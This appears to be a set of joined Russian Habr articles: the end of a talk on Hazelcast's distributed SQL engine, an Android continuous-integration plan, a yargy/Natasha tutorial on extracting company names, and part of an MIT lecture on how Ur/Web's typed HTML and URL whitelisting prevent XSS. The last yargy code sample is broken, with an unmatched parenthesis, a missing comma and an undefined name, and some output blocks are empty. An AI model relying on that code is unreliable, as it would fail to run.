За основу была взята модель классического Volcano-итератора, где у всех операторов есть общий интерфейс. Представьте, что вы хотите сделать оператор filter, который берет данные из другого оператора:
Вы говорите, что одно из полей этого оператора является другим оператором. Тогда при вызове операции next на фильтре вызывается next на child-операторе и проверяет, удовлетворяет ли он предикату. Если да, то мы его отдаем. Если нет, то продолжаем в цикле брать данные из child-оператора.
У классической модели Volcano итераторы отдают по одному кортежу, что не всегда эффективно. Например, если у вас тысяча записей в таблице, вам придется вызывать операцию next на операторы сканирования тысячу раз. Поэтому был сделан batching, чтобы операторы отдавали множество кортежей:
Под batching пришлось распределять ресурсы памяти, но с точки зрения производительности это достаточно хороший шаг.
#### Volcano Model: неблокирующее выполнение
Так как система распределенная, то может оказаться, что для текущего фрагмента нет данных. Например, данные выполняются на удаленном узле, который еще не завершил обработку. Чтобы операция next не блокировала поток, который исполняет фрагмент, был переделан классический интерфейс в неблокирующий режим.
Для этого операция next сигнализировала, есть ли в наличии картежи, которые можно получить из оператора, или нет. Если их нет, то исполнение текущего фрагмента приостанавливается и ставится на исполнение через compared set.
Фрагмент всегда исполняется строго в одном потоке. Если не хватает данных, он отдает исполнение другому фрагменту в этом же потоке. Было реализовано исполнение фрагментов в кооперативном пуле. Так как продукт написан на Java, то использовали ForkJoinPool и то, что операторы никогда не блокируют потоки, повышает производительность:
### Протокол: запуск запроса
Для запуска и исполнения запросов был реализован сетевой протокол. При исполнении каждого запроса выбирается узел Initiator, который координирует выполнение запроса, выбирает узлы-участники (Participant) и отсылает им execute-запрос. Когда узел получает команду execute, он мгновенно исполняет те фрагменты, за которые отвечает, и участники обмениваются batch-сообщениями с данными:
Так как в Hazelcast не было синхронизации старта исполнения запросов на отдельных узлах, то случалось, что один узел отправлял батч, а другой узел не получал сообщение от координатора и не знал, что должен что-то принять. Это приводило либо к потере батчей, либо к утечкам памяти. Поэтому был реализован мгновенный старт узла после получения execute, чем сэкономили время на сообщениях.
#### Протокол: flow control
Чтобы исключить разную скорость работы операторов, когда sender генерирует пакеты быстрее, чем receiver может их принять и обработать, было реализовано подобие алгоритма flow control:
Sender и receiver договариваются, сколько данных («кредитов») sender может отправить на receiver. Receiver отслеживает оставшиеся «кредиты», и если видит, что их осталось мало, а receiver готов продолжать исполнение запроса, то отправляет ack-сообщение, которое увеличивает количество «кредитов» на sender. Это позволяет избегать перегрузки receiver.
#### Протокол: отмена запроса
Иногда нужно остановить выполнение запросов на всех узлах, например, из-за того, что пользователь отменил запрос или на узле возникла ошибка. Любой узел, который участвует в исполнении запроса, может инициировать его отмену. Для отмены запроса participant отправляет cancel сообщение на узел координатора (initiator), после чего координатор рассылает broadcast-сообщения на отмену всем остальным узлам.
Двухфазная отмена была сделана, чтобы избежать шквала запросов на отмену. Например, все участники столкнулись с ошибкой сериализации в Java и напрямую отправили запросы каждый каждому. В двухфазном протоколе это невозможно.
#### Протокол: отказоустойчивость
На момент проектирования движка проблемы fault-tolerance не стали решать, потому что обеспечение корректности данных пользователя более актуальным. Поэтому, если один из узлов падает из-за проблем с сетью или других причин, то запрос можно только отменить. Пользовательские запросы достаточно быстрые и вероятность отказа невелика. Для OLTP-нагрузок восстановление с произвольного падения избыточно. Проще перезапустить короткий запрос и получить финальный результат, чем тратить время на создание промежуточных материализаций.
Заключение
----------
За полтора года с нуля было сделано:
* SQL-движок на основе Apache Calcite со встроенными оптимизациями, выбором вторичных индексов и планированием перемещения данных в кластере («exchange»);
* Runtime: DAG из фрагментов, которым можно описать запросы произвольной сложности, неблокирующие Volcano-style-итераторы с буферизацией и кооперативную многозадачность;
* Сетевой протокол был оптимизирован под минимизацию latency и сделан Flow control для избежания перегрузки узлов.
В первой версии, которая вышла осенью 2020 года, поддерживались только простые операторы (сканирование, фильтрация, проекция), но инфраструктуру можно было расширить до поддержки join, агрегации и сортировки. В новых версиях агрегации и сортировки уже появились. Дальше появятся джойны, так как в движке была предусмотрена поддержка более сложных SQL-запросов.
> [HighLoad++ 2021](https://clck.ru/YTLu4) пройдет 17 и 18 марта 2022 года в Крокус-Экспо в Москве. Программа конференции не меняется, текущие билеты будут перенесены на новые даты! [Расписание](https://clck.ru/YTLoQ) и [билеты](https://clck.ru/YTM2z).
>
> | https://habr.com/ru/post/569258/ | null | ru | null |
# Android — Сontinuous Integration. Часть 1
Не буду описывать в сотый раз что такое CI и зачем это нужно. Выдумщиком данной концепции считается, не безизвестный, Мартин Фаулер, а с его трудом можно ознакомиться [здесь](http://martinfowler.com/articles/continuousIntegration.html).
Я же хочу в серии из нескольких статей рассказать о том, как организовать разработку Android приложений с использованием непрерывной интеграции. Для меня было неожиданностью, что несмотря на всю популярность CI, в интернете до сих пор не существует подробной инструкции, по шагам, для новичков, даже на английском языке, не говоря про русский (ну или я таких попросту не нашел).
В первой статье цикла мы обозрим сложившуюся унылую ситуацию и набросаем план действий по спасению — то что ожидаем получить в конце и ради чего все затеваем. А затем, постепенно, начнем это воплощать в жизнь. Кого заинтересовал, прошу под кат.
Я буду рассматривать все примеры на следующем наборе инструментов/технологий, хотя это не принципиально и, например, GIT может быть легко заменен на Mercurial, а TeamCity на Jenkins:
**VCS** — GIT
**Testing** — Emulators, Android Instrumentation Framework, JUnit, Robotium, Robolectric, Mockito
**Building** — Maven + android-maven-plugin
**IDE** — IntelliJ IDEA
**Хранилище артефактов** — Nexus
**CI server** — TeamCity
#### Что имеется:
Итак, исходные коды проекта лежат в GIT-репозитории, там же хранятся необходимые библиотеки, все участники проекта коммитят в одну главную master-ветку, оттуда же собираются сборки для релиза. Понятие о тестах отсутствует, сборка осуществляется средствами IntelliJ IDEA: `Tools -> Android -> Export Signed Application Package.` Собранные артифакты между участниками процесса распространяются по почте, скайпу и прочему. Подготовка очередной релизной версии может занимать до нескольких часов: переключение файла конфига, изменение номера версии в приложении, коммит релиза в репозиторий, создание тега с номером версии на коммит, последующая проверка, что все собрано как надо, приложение смотрит на нужный сервер и подписано необходимым ключем и прочее. И несмотря на все проверки и меры предосторожности не стоит забывать о человеческом факторе.
#### Что хотим получить:
Исходные коды по прежнему лежат в GIT :) Модель ветвления веток в репозитории организована в соответсвии с данным [трудом](http://nvie.com/posts/a-successful-git-branching-model/) и этим [замечанием](http://nvie.com/posts/a-successful-git-branching-model/#comment-329147921), помогающем учесть фазу тестирования и исправления найденных ошибок. (В дальнейшем это позволит нам проще настроить TeamCity, да и вообще существенно облегчит разработку, подготовку к релизу и дальнейшую его поддержку). Зависимости автоматически поддтягиваются из Nexus во время сборки. Сборка возможна двумя вариантами:
* через IDE, с возможностью подключения дебага и создания различных run-конфигураций средствами IDEA (удобно при локальной разработке, для быстрого запуска отдельных тестов и т.д.)
* maven'ом, в один клик или полностью автоматически
Проект состоит из трех модулей:
* **Root** — корень проекта содержит два других вложенных модуля
* **App** — модуль с приложением. Помимо самого приложения, содержит JUnit и Robolectric юнит-тесты (вкратце — [Robolectric](http://pivotal.github.com/robolectric/), библиотека позволяющая запускать Android код в настольной JVM, что существенно ускоряет тестирование в отличие от варианта с Instrumentation тестами).
* **Test** — модуль с интеграционными тестами. Тесты написаны либо с использованием стандартных средств платформы для тестирования ([Instrumentation Framework](http://developer.android.com/tools/testing/testing_android.html)), либо с использованием [Robotium](http://habrahabr.ru/post/123026/).
Build-скрипт для maven позволяет собирать приложение в трех конфигурациях: `development`, `test` и `production`, различиющихся соответсвующими настройками (адреса серверов, задержки и таймауты, debug-флаг и т.д.). Во время сборки запускаются юнит- и интеграционные тесты.
CI-сервер осуществляет следующие сборки:
* **Development** — на каждый пуш в develop ветку. Цель сборки — максимально оперативное выявление ошибок типа «забыл закоммитить файл, проект не собирается у других участников команды».
* **Nightly build** — сборка всех трех конфигураций с нуля и прогон тестов
* **UAT** — сборка, собирающая релиз кандидаты в ходе тестирования и исправления найденных багов
* **Release** — релизная протестирования сборка для выкладывания в маркет
На каждую успешную UAT или Release сборку в репозитории создается тег вида `rcX.X.X-X` или `vX.X.X` соответсвенно. Если билд завален: не компилируется, сломана часть тестов и т.д. — отправляется письмо с алярмой заинтересованным лицам.
Готовые артефакты для тестирования или деплоя в продакшн участниками проекта забираются только с CI-сервера, никакой пересылки вручную. Не нужно задумываться о файле с конфигами проекта или создании тегов в репозитории все происходит «само». Время на подготовку и сборку нового релиз-кандидата для тестирования или релизной версии — 2-5 минут.
В [следующей статье](http://habrahabr.ru/post/152279/) напишем наш pom.xml для мавена и потихоньку начнем воплощать задуманное
**P.S.** Пока готовил статью на Хабре появилась [публикация](http://habrahabr.ru/post/138821/) на данную тему, тем не менее продолжу писать и поделюсь и своим опытом | https://habr.com/ru/post/145907/ | null | ru | null |
# Поиск названия компании с использованием Python и контекстно-свободных грамматик
*Сложно представить задачу более востребованную и частотную, чем задачу текстового поиска. Упростить ее помогают совершенно разные инструменты и методы, однако универсального решения нет. Как один из оптимальных вариантов в статье представлен парсер библиотеки Natasha для поиска почти любой структурированной информации в тексте.*
[«Контекстно-свободные грамматики»](https://habr.com/ru/post/177701/) – громоздкое название. Хотя это безобидная и очень полезная штука. Феномен пришел в IT из лингвистики и натворил море чудес – с их помощью можно искать в тексте почти все нужные конструкции: адрес, денежную сумму, словосочетания с глаголом «раскидывать», кличку животного – что угодно. Чтобы раскрыть всю мощь КС-грамматик на примере, предлагаю представить, что перед нами поставили задачу извлечь названия организаций из текста.
```
texts = [
'Вознаграждение по Договору "00" июля 2019г. ООО ЛампыДок ИНН 0000011111. НДС…',
'Оплата задолженности ООО Чистки-СВ за содержание зданий за период с 09.03.2010г…',
'Оплата ИП Левин К.Д.: предоплата за июнь по сч. №0010011111 от 02.06.2017…',
'Оплата ИП Моргушина Линда Петровна: обслуживание б/к по сч. №00101111 от 01.11…'
]
```
Вариантов, как выполнить задачу, несколько:
а) Разбить на токены (в данном случае слова и предложные конструкции), вытянуть цепочку по ключевым словам (ООО, ИП и др.);
б) Использовать NER-модули Python-библиотек. В статье рассматривается Natasha;
в) Использовать парсер для поиска заданных цепочек с помощью контекстно-свободных грамматик;
Сравним варианты б и в.
Парсеры на основе КС-грамматик производят поиск фактов по предложениям, используя правила, по которым строятся цепочки.
Цепочка – это последовательность, любая языковая конструкция. Например, «г. Москва, ул. Рязанская, д. 21», «Евгения Лисовская работает переводчиком». В примерах подчеркнуты компоненты формулы (дескрипторы), которые можно задать правилом и производить поиск подобных сочетаний в любом тексте: Name + Surn + «работает» + Noun.
Факт – это структурированная информация – результат анализа цепочек, – обычно представленная статьей:
```
RFact(text=’Евгения Лисовская работает переводчиком ’ ,
span={name: ‘Евгения’,
surname: ‘Лисовская’,
profession: ‘переводчик}’
```
Рассмотрим процесс извлечения фактов из текста на примере библиотеки Natasha.
Необходимые импорты:
```
from yargy import Parser, rule, or_, and_
from yargy.interpretation import fact
from yargy.predicates import gram, eq, is_capitalized, length_eq
from yargy.pipelines import morph_pipeline
from slovnet import NER
from navec import Navec
navec = Navec.load('C:/…/ Ntsh/navec_news_v1_1B_250K_300d_100q.tar')
ner = NER.load('C:/… /Ntsh/slovnet_ner_news_v1.tar')
ner.navec(navec)
```
«navec» – эмбеддинги, их можно загрузить [здесь](https://github.com/natasha/navec).
«slovnet» – модели, скачивать [на этой странице](https://github.com/natasha/slovnet).
Первым делом определимся, из каких полей будет состоять факт. Для рассматриваемых текстов достаточно двух: форма организации и ее название. На Pythonфакт реализуется следующим образом:
```
Orgname = fact(
'Org',
['orgform', 'name'])
```
Обозначим правило поиска организационных форм для взятых примеров. Так как их ограниченное количество, задаем набор в явном виде:
```
ORGFORM = morph_pipeline([
'ООО ',
'ИП '])
```
morph\_pipeline – это газеттир (Слово «газеттир» придумали в «Яндексе», это обозначение формата словарей - .gzt, с которыми работает Томита-парсер) – т.н. корневой словарь, в котором собирается информация обо всех словарях, грамматиках и прочих элементах.
Вторая часть искомой сущности – название. Оно формируется обобщенными правилами:
С предикатом or\_ все просто. Он сообщает парсеру: «Далее перечисляются правила, связанные отношением “или”». Наименование компании может быть выражено фамилией, именем или существительным. Так и запишем. У Natasha есть целый набор предикатов, они лежат [в справочнике](https://nbviewer.org/github/natasha/yargy/blob/master/docs/ref.ipynb).
Все части наименования собраны. Если оставить так, как есть, парсер просто соберет цепочки, соответствующие правилам. Чтобы на выходе получить факты, нужно включить в код интерпретацию:
```
ORGANIZATION = rule(
ORGFORM.interpretation(Orgname.orgform),
NAME.interpretation(Orgname.name).interpretation(Orgname))
#Передаем парсеру объект «организация» и запускаем поиск:
orgparser = Parser(ORGANIZATION)
def orgs_extract(text, parser):
for match in parser.findall(text):
found_values = match.tokens
return found_values
orgs = [orgs_extract(txt, orgparser) for txt in texts]
```
Вывод для первого текста:
Дополнительная ценность – координаты сущности в тексте, которые могут пригодиться для расширенного анализа документа.
Если нужны только цепочки, изменим цикл в предыдущей функции:
Вывод:
Мы разобрали основы того, как можно извлекать и структурировать любые факты цепочки из текста с помощью библиотеки Natasha. Но если говорить об организациях – это довольно распространенная сущность, запрос на поиск которой неисчерпаем. Поэтому разработчики библиотеки включили их поиск в NER-модуль. И задача с поиском названия сводится к одной функции:
```
def organizations_mrkup(text):
organizations = []
markup = ner(text)
spans = markup.spans
for i in range(len(spans)):
if spans[i].type == 'ORG':
org_spans = spans[i]
start, stop = org_spans.start, org_spans.stop
organizations.append([text[start:stop], (start, stop)])
return organizations
```
Вывод:
Из достоинств - название компании из второго текста вытянуто точно и полностью (в отличие от ручной настройки). Организации с упоминаниями форм «ООО», «ОАО» модуль видит лучше всего.
Сравним точность подходов по расстояниею Левенштейна:
| | | |
| --- | --- | --- |
| | **NER** | **Parser** |
| 'ООО ЛампыДок' | 15 | 0 |
| 'ООО Чистки-СВ' | 0 | 3 |
| ‘ИП Левин К.Д.’ | 13 | 4 |
| ‘ИП Моргушина Линда Петровна’’ | 24 | 16 |
| **Итого** | **52** | **23** |
Сравнение проходит на крайне небольшой выборке, при увеличении количества текстов показатели выровняются.
Поиск названий для ИП (с включением полных имен или инициалов) можно настроить в правилах для парсера.
Пример полной настройки:
```
PT = eq('.')
Name = fact(
'Name',
['surname', 'name', 'lastname', 'orgnm', ‘abbr’])
ORGFORM = morph_pipeline([
'ООО',
'ИП'])
SURN = gram('Surn').interpretation(
Name.surname)
NAME = gram('Name').interpretation(
Name.name)
ABBR = (is_capitalized()).interpretation(
Name.abbr)
PATR = (is_capitalized()).interpretation(Name.lastname)
INIT = and_(length_eq(1), is_capitalized())
FRST_INIT = INIT.interpretation(Name.name)
LST_INIT = INIT.interpretation(Name.lastname)
ORGNAME = and_(gram('NOUN'), is_capitalized()).interpretation(
Name.orgnm)
)
```
```
ORGANIZATION = or_(
rule(ORGFORM, SURN, FRST_INIT, PT, LST_INIT, PT),
rule(ORGFORM, FRST_INIT, PT, LST_INIT, PT, SURN),
rule(ORGFORM, ORGNAME, TR, ABBR)
rule(ORGFORM, SURN, FRST_INIT, PT),
rule(ORGFORM, FRST_INIT, PT, SURN),
rule(ORGFORM, NAME, SURN, PATR),
rule(ORGFORM, SURN, NAME, PATR),
rule(ORGFORM, SURN, FRST_INIT),
rule(ORGFORM, FRST_INIT, SURN),
rule(ORGFORM, NAME, SURN),
rule(ORGFORM, SURN, NAME),
rule(ORGFORM, ORGNAME),
).interpretation(Name)
ORG = Parser(ORGANIZATION)
```
Вывод:
Использование контекстно-свободных грамматик в NLP – огромное поле возможностей для работы с текстом. Для некоторых задач подобный подход – overkill, но для массового поиска фактов/цепочек в огромных данных парсер – отличный помощник, который обеспечит сравнимо высокую точность. | https://habr.com/ru/post/590257/ | null | ru | null |
# Курс MIT «Безопасность компьютерных систем». Лекция 11: «Язык программирования Ur/Web», часть 2
### Массачусетский Технологический институт. Курс лекций #6.858. «Безопасность компьютерных систем». Николай Зельдович, Джеймс Микенс. 2014 год
Computer Systems Security — это курс о разработке и внедрении защищенных компьютерных систем. Лекции охватывают модели угроз, атаки, которые ставят под угрозу безопасность, и методы обеспечения безопасности на основе последних научных работ. Темы включают в себя безопасность операционной системы (ОС), возможности, управление потоками информации, языковую безопасность, сетевые протоколы, аппаратную защиту и безопасность в веб-приложениях.
Лекция 1: «Вступление: модели угроз» [Часть 1](https://habr.com/company/ua-hosting/blog/354874/) / [Часть 2](https://habr.com/company/ua-hosting/blog/354894/) / [Часть 3](https://habr.com/company/ua-hosting/blog/354896/)
Лекция 2: «Контроль хакерских атак» [Часть 1](https://habr.com/company/ua-hosting/blog/414505/) / [Часть 2](https://habr.com/company/ua-hosting/blog/416047/) / [Часть 3](https://habr.com/company/ua-hosting/blog/416727/)
Лекция 3: «Переполнение буфера: эксплойты и защита» [Часть 1](https://habr.com/company/ua-hosting/blog/416839/) / [Часть 2](https://habr.com/company/ua-hosting/blog/418093/) / [Часть 3](https://habr.com/company/ua-hosting/blog/418099/)
Лекция 4: «Разделение привилегий» [Часть 1](https://habr.com/company/ua-hosting/blog/418195/) / [Часть 2](https://habr.com/company/ua-hosting/blog/418197/) / [Часть 3](https://habr.com/company/ua-hosting/blog/418211/)
Лекция 5: «Откуда берутся ошибки систем безопасности» [Часть 1](https://habr.com/company/ua-hosting/blog/418213/) / [Часть 2](https://habr.com/company/ua-hosting/blog/418215/)
Лекция 6: «Возможности» [Часть 1](https://habr.com/company/ua-hosting/blog/418217/) / [Часть 2](https://habr.com/company/ua-hosting/blog/418219/) / [Часть 3](https://habr.com/company/ua-hosting/blog/418221/)
Лекция 7: «Песочница Native Client» [Часть 1](https://habr.com/company/ua-hosting/blog/418223/) / [Часть 2](https://habr.com/company/ua-hosting/blog/418225/) / [Часть 3](https://habr.com/company/ua-hosting/blog/418227/)
Лекция 8: «Модель сетевой безопасности» [Часть 1](https://habr.com/company/ua-hosting/blog/418229/) / [Часть 2](https://habr.com/company/ua-hosting/blog/423155/) / [Часть 3](https://habr.com/company/ua-hosting/blog/423423/)
Лекция 9: «Безопасность Web-приложений» [Часть 1](https://habr.com/company/ua-hosting/blog/424289/) / [Часть 2](https://habr.com/company/ua-hosting/blog/424295/) / [Часть 3](https://habr.com/company/ua-hosting/blog/424297/)
Лекция 10: «Символьное выполнение» [Часть 1](https://habr.com/company/ua-hosting/blog/425557/) / [Часть 2](https://habr.com/company/ua-hosting/blog/425561/) / [Часть 3](https://habr.com/company/ua-hosting/blog/425559/)
Лекция 11: «Язык программирования Ur/Web» [Часть 1](https://habr.com/company/ua-hosting/blog/425997/) / [Часть 2](https://habr.com/company/ua-hosting/blog/425999/) / [Часть 3](https://habr.com/company/ua-hosting/blog/426001/)
Немного позже я расскажу вам про подделку межсайтовых запросов. Думаю, конспект лекции объясняет, почему в нашем случае межсайтовый скриптинг не срабатывает. Причина в том, что всякий раз, когда вы создаёте «кусок» синтаксиса, это объект, дерево, и разные части этого дерева не просто строки.
Вы не можете случайно превратить строку пользователя в дерево структуры, это не происходит автоматически, потому что трудно написать подобный переводчик. Но вы можете попытаться написать переводчик для Ur/Web. Скоро я приведу пример, который поможет уменьшить вашу озабоченность по этому поводу. Я хочу показать вам, во что на самом деле превращается этот синтаксис в компиляторе.
Может показаться, что мы могли бы просто добавить двойные кавычки вокруг HTML, чтобы затем вернуться в нормальный мир. Можно задаться вопросом, почему так важно пропускать двойные кавычки, размещая вместо этого XML?
Можете поверить мне на слово, что это эквивалентный код для того, что он делает. Вот тег встроенной функции, которая создает узел дерева HTML-документа. Далее я размещаю аргументы, которые выражают стиль CSS в этом узле. Здесь на самом деле, ничего не происходит, так что имеется множество разных способов сказать «None», это не требует никаких атрибутов.
Далее я помещаю тег body, это еще одна вещь из стандартной библиотеки. Все стандартные теги представляют собой в библиотеке функции первого класса.
Далее нам нужно поместить в тело текст «Hello World», поэтому мы вызываем функцию cdata, где cdata — это слово XML для символьных данных или просто строковая константа, и можем разместить здесь текст. Это должно дать нам тот же результат, что и раньше. Посмотрим, сработает ли это.
Теперь я вернусь обратно на страницу. Мы видим то же самое, что и раньше, так что это то же, что функция делала в начале.
Это не просто построение строки. Это вызывает ряд операций, которые разработаны так, что только они позволяют создавать допустимый HTML, и они никогда неявно не смогут интерпретировать строку как код вместо того, чтобы просто разместить на странице содержание, которое должно там находиться.
Сейчас я попробую сделать что-то менее сложное, что потенциально может вызывать обеспокоенность. Давайте решим, что мы действительно рады видеть мир, поэтому выделим слово «hello» жирным шрифтом и скомпилируем его снова.
Вы видите, что произошло на странице – слово не стало жирным, потому что компилятор показывает, как интерпретируется текст вместо разметки. Это представление синтаксиса HTML как функции, которая строит синтаксис, не имея встроенных в неё обычных синтаксических соглашений кодирования. Эта функция интерпретирует все так, как вы хотели написать, ничего от себя не додумывая.
Таким образом, реализация cdata делает то, что обычно называют escaping, или «бегством». Но программисту не нужно знать, что есть такая вещь, как escaping. Вы можете думать об этом, как о наборе удобных функций для создания дерева объекта, который описывает страницу.
Я слышу, что вы хотите увидеть HTML-код, который здесь генерируется. Ладно, это будет не самая захватывающая вещь. Я попробую увеличить его на экране, но тогда он не уместится на одной линии.
**Студент:** учитывая, что вы используете XHTML, не могли бы вы просто использовать путь для символьных данных cdata вместо того, чтобы делать это вручную?
**Профессор:** наверное, но это потребовало бы от меня больших знаний XML, чем те, что у меня есть. Был еще один хороший вопрос об URL JavaScript. Если мы разрешаем URL JavaScript, то создаём бэкдор для автоматической интерпретации строк как программ во время выполнения. И это вызывает всевозможные проблемы.
Давайте попробуем этого избежать. Я переключусь обратно, прежде всего, на укороченную версию, и сделаю внутри body несколько строк. И давайте ещё поставим ссылку, которая попытается сделать что-то соответствующее. Здесь мы оставим место для сообщений об ошибках.
Далее запустим компилятор и посмотрим, как это работает.
Неверный URL, далее запись JavaScript и фраза «passed to bless», или «прошло благословление». Bless встроено в функцию, которая является привратником, разрешающим URL. По умолчанию URL-адреса не разрешены, так что, конечно, данный вариант не допускается. И вообще, это плохая идея — писать свою политику URL, чтобы вы могли создавать значения, представляющие URL-адреса JavaScript. Потому что потом потребуются всякие гарантии, из-за того, что эти адреса могут быть недействительными.
Чтобы было немного яснее, как это работает, позвольте мне разложить этот код на отдельную функцию, вызывающую компоновщик, который принимает URL. Таким образом, URL является типом, а не строкой. Это тип, который обозначает URL-адрес, что явно разрешено политикой вашего приложения.
Я использую фигурные скобки, как в некоторых популярных фреймворках шаблонов HTML, для обозначения вставки некоторого кода из языка хоста внутри HTML, который мы создаем. И все это делается таким образом, что тип проверяется статически. Так что система проверит: «да, это то место, которому принадлежит URL, и оно говорит, что это действительно URL, так что все нормально».
И тогда я могу явно расположить вызов bless, сказав: «давайте просто вызовем здесь функцию компоновщика по результатам «благословения» этого URL». После этого мы должны получить то же сообщение об ошибке, что и раньше.
К сожалению, я не могу запустить это для вас и ждать выполнения, пока не произойдёт сбой, но могу сказать, что это определенно потерпит неудачу, потому что я умышленно сделал ошибку компилятора. Этот URL не будет принят политикой URL.
Если бы я пропустил этот вызов bless, то это была бы более серьёзная ошибка во время компиляции, потому что у вас есть строка и нужный URL, и они разных типов.
Давайте сделаем это более интересным. Я собираюсь открыть файл конфигурации для этой демонстрации. Он довольно короткий, по крайней мере, если вы посмотрите на любой фреймворк для веб-приложений на Java. У них имеются эти гигантские XML файлы для конфигурации, так что у нас всё намного лучше.
Мы можем добавить правило, которое гласит, что все, что есть в Википедии, разрешено, а затем поместить в теле URL – адрес Википедии.
Теперь перейдём на страницу и нажмём Please Click.
Вот что у нас появилось: адрес Википедии не найден.
Итак, главная идея в том, чтобы иметь абстрактный тип URL, вроде того, как вы могли бы иметь абстрактный тип хэш-таблиц, который кодирует варианты того, как выглядит хэш-таблица, и предотвращает попадание кода в массив хэш-таблицы. Мы можем сделать то же самое и для URL-адреса. С помощью этой функции bless система обеспечивает, чтобы каждое значение этого типа в какой-то момент проходило соответствующую проверку.
Например, с этой политикой мы знаем, что у нас никогда не будет JavaScript URL, поэтому можно безопасно взять значение URL и использовать его в качестве ссылки. Это не сломает основные абстракции языка.
**Студент:** можно ли использовать «чистый» JavaScript, вставив его в строку body?
**Профессор:** и да, и нет. Вместо JavaScript вы вставляете код Ur/Web, который выполняет какие-то задачи. Сейчас я наберу команду:
```
return
```
И вы увидите, что получилось – интерпретатор разместил на экране окно с надписью «Loaded» — «Загружено».
Попытка интерпретировать код JavaScript в строковой форме в качестве программы обернулась бы катастрофой. Вы видите, что мы можем поместить код того же языка программирования, с которым вы работаете, уже ограниченный этими фигурными скобками. И тогда он автоматически компилируется в JavaScript для запуска на стороне клиента.
Замечу, что новые версии браузеров способны избежать ошибки интерпретации символов, но некоторые старые браузеры способны что-то напутать. В любом случае, все символьные элементы будут интерпретироваться как UTF-8, если они войдут в документ. Если существует какая-то проблема с другой кодировкой, то эта кодировка не должна здесь применяться.
**Студент:** компилятор проверяет, содержит ли строка допустимый URL-адрес. Но если вы вычисляете строку во время выполнения программы, проверяет ли bless во время выполнения программы, допустима данная строка или нет?
**Профессор:** давайте создадим форму , чтобы проверить это утверждение, и расположим её здесь. Мы вводим свой URL в текстовое поле URL, а затем вставляем кнопку отправки submit.
При нажатии на неё последует вызов функции компоновщика с записью одного значения для каждого поля в форме. В этом случае есть только одно поле под названием «URL», так что линкер обработает запись, содержащую URL-адрес в виде строкового типа. И тогда мы попытаемся применить к нему функцию bless и посмотреть, сработает ли это.
Вы видите пример сообщения об ошибках при наборе URL неправильного типа, одну из тех вещей, которые не будут иметь никакого смысла, если вы не знакомы с Haskell. Я забыл вставить сюда функцию return. По крайней мере, теперь это больше похоже на Java-программу. И я также забыл сказать, что теперь это полная страница. Поэтому мы не можем использовать тег a, пока не окажемся внутри тега body.
Теперь запускаем компилятор, переходим на нашу страницу, щелкаем по кнопке Please Click, вводим какой-нибудь заумный несуществующий адрес.
Затем щелкаем Submit Query — «Отправить запрос» и получаем сообщение об ошибке – адрес данного типа не разрешён.
Если мы введём URL – адрес правильного вида, как показано на следующем экране, а затем щелкнем Submit Query, никакого сообщения об ошибке не появится.
Думаю, ответ на ваш вопрос получился долгим и не слишком захватывающим.
**Студент:** есть ли более строгие условия для URL, кроме запрета использовать JavaScript?
**Профессор:** в настоящие время более строгие ограничения — это просто константы и префиксы. Но вы также можете создать собственные запрещающие правила, и они будут работать в том порядке, в котором вы их напишете.
**Студент:** получается, что если вы придерживаетесь запрета JavaScript, но поставите разрыв строки в середине слова «JavaScript», компилятор может интерпретировать это…
**Профессор:** да, это было бы слишком плохо. Вот почему хорошо придерживаться подхода «белого списка» вместо использования подхода «черного списка». Вы, вероятно, захотите, чтобы все правила начинались с определенного протокола, например HTTP, и при этом разрешалось только то, что попадает в ваш утвержденный набор протоколов. Я рекомендую поступать именно так.
**Студент:** для многих сайтов вы можете разрешить пользователям обмениваться ссылками, в этом случае вам необходимо разрешить ссылки везде.
**Профессор:** вы можете разрешить ссылки, если хотите, чтобы ваши пользователи делились ссылками JavaScript или, я не знаю, флэш-ссылками, или что там разрешено. Видите ли, вы можете создать «белый список» всех HTTP, HTTPS, URL-адресов и тем самым обеспечить безопасную работу с большинством сайтов. Такой подход лишь немного слабее по сравнению с разрешением использовать только определенные URL. Но, по крайней мере, вы сможете полностью исключить возможность автоматического выполнения строки как программы.
Позвольте мне привести один из примеров конспекта, который является примером простой системы чат-комнат, представленных в базе данных. Пользователь может нажать на ссылку для перехода в комнату и затем отправить сообщение. Это первый из нескольких вариантов схемы.
Во-первых, я отмечу, что собираюсь это перекомпилировать. А потом волшебным образом, все объявленные таблицы базы данных будут добавлены в базу данных, и мы можем начать пользоваться приложением. Но сначала мы должны добавить несколько чат-комнат. Итак, давайте откроем наш интерфейс к демонстрационной базе данных и вставим в таблицу room значения «один» и «два».
Теперь они появились здесь.
Теперь мы заходим в комнату первого чата и может развлекать себя весь день, отправляя строки текста, например, вот такую первую строчку. Более интересно будет попробовать отправить HTML, и он сразу же обрабатывается. Это пример основной функциональности программы.
Ещё раз быстро пройдёмся по тому, как это работает, поэтому у нас есть эти две таблицы SQL — table room и table message, которые просто объявлены в этом первом классе внутри языка программирования. И мы даем схему каждой таблицы. А потом, когда мы попытаемся получить доступ к этим таблицам, компилятор убеждается, что доступ к ним осуществляется в соответствии с перспективной схемой набора текста.
Итак, у нас есть таблица комнат, где каждая комната является записью, состоящей из идентификатора ID, который является целым числом, и заголовка Title, который является строкой. Это тип представления, в котором мы просто создавали записи. Я просто создал несколько комнат в консоли SQL. У нас также есть уведомление, что каждое сообщение принадлежит определённой комнате, время, когда оно было создано, и текст, который является содержанием сообщения.
Теперь позвольте мне быстро перейти к основной функции.
Мы запускаем SQL запрос – вы видите пример синтаксиса SQL, встроенного в Ur/Web. Я не хочу проходить в вызов функций через это расширение из стандартной библиотеки. Это будет довольно многословно, достаточно вспомнить мои слова про то, что в стандартной библиотеке имеются способы для вызова функций, которые представляют собой допустимые способы построения SQL-запроса.
И эти функции имеют типы, которые заставляют их печатать для вас запросы, а не только гарантировать то, что синтаксис является допустимым. Этот код просто перебирает все строки, которые вышли из этого запроса, и генерирует части HTML кода для каждого из них.
В частности, мы собираемся вынести на поле заголовка Title результата запроса и конвертировать его в HTML с обозначением, которое включает фигурные скобки. Квадратные скобки дополнительно говорят о том, что это еще не настоящий кусок HTML, но пожалуйста, преобразуйте его для меня стандартным способом. Так мы можем поступить со строками и целыми числами и всеми данными других типов.
**Студент:** если бы это содержало вредоносный HTML-код или что-то еще, оно было бы отфильтровано?
**Профессор:** да, было бы. В Ur/Web вы можете просто думать об этом как о построении дерева. Это узел, который расшифровывается как некоторый текст. Очевидно, что текст ничего не может сделать.
**Студент:** итак, если бы этот заголовок был под контролем пользователя, и кто-то бы сделал чат с заголовком Alert, это не будет JavaScript?
**Профессор:** он не будет автоматически трактоваться как JavaScript, HTML или еще что-нибудь. Он будет восприниматься программой как простой текст.
